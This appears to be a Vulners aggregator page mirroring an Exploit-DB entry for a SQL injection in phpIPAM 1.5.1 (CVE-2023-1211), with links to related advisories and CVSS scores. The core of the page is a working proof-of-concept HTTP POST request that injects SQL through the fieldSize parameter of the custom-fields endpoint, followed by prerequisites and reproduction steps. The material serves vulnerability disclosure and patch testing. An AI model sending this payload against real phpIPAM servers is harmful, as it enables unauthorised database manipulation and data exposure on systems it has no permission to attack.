Lucene search
K

phpIPAM 1.5.1 - SQL Injection

🗓️ 02 Dec 2025 00:00:00Reported by CodeSecLabType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 138 Views

phpIPAM 1.5.1 SQL injection via custom fields in edit-result.php; requires valid session and CSRF.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2023-1211
7 Mar 202300:15
attackerkb
Circl
CVE-2023-1211
7 Mar 202302:13
circl
CNNVD
phpIPAM SQL注入漏洞
7 Mar 202300:00
cnnvd
CVE
CVE-2023-1211
6 Mar 202300:00
cve
Cvelist
CVE-2023-1211 SQL Injection in phpipam/phpipam
6 Mar 202300:00
cvelist
Huntr
SQL Injection in Custom Fields
10 Feb 202312:46
huntr
EUVD
EUVD-2023-23490
3 Oct 202520:07
euvd
NVD
CVE-2023-1211
7 Mar 202300:15
nvd
OpenVAS
phpIPAM < 1.5.2 Multiple Vulnerabilities
8 Mar 202300:00
openvas
OSV
CVE-2023-1211 SQL Injection in phpipam/phpipam
6 Mar 202300:00
osv
Rows per page
# Exploit Title: phpIPAM 1.5.1 - SQL Injection
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage:  https://github.com/phpipam/phpipam/
# Software Link: https://github.com/phpipam/phpipam/
# Version: 1.5.1 
# Tested on: Windows
# CVE : CVE-2023-1211


Proof Of Concept
POST /app/admin/custom-fields/edit-result.php HTTP/1.1
Host: phpipam
Cookie: PHPSESSID=<valid_session_id>; csrf_cookie=<valid_csrf_token>
Content-Type: application/x-www-form-urlencoded

csrf_cookie=<valid_csrf_token>&action=add&name=custom_sqli_test&fieldType=enum&fieldSize=0)%3B+SELECT+SLEEP(10)%3B+--+&table=devices&Comment=sql_poc&NULL=YES

**Prerequisites:**
1. Valid authenticated session (PHPSESSID cookie)
2. Valid CSRF token (obtain from `/admin/custom-fields/` page first)
3. Target table must exist (default 'devices' table used)
4. Field type must be enum/set to reach vulnerable code path

**Manual Test Steps:**
1. Login to phpIPAM
2. Visit `/admin/custom-fields/` to get CSRF token
3. Send POST request with above payload

**Note:** Replace `<valid_session_id>` and `<valid_csrf_token>` with actual values from authenticated session. The `fieldSize` parameter injects SQL through enum/set type definition context.



Steps to Reproduce
Login as an admin user.
Intercept and send the malicious request using a web proxy tool such as Burp Suite, ensure it includes a valid session cookie and csrf token.
Observe the result

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Dec 2025 00:00Current
7High risk
Vulners AI Score7
CVSS 3.17.2
CVSS 37.2
EPSS0.00313
SSVC
138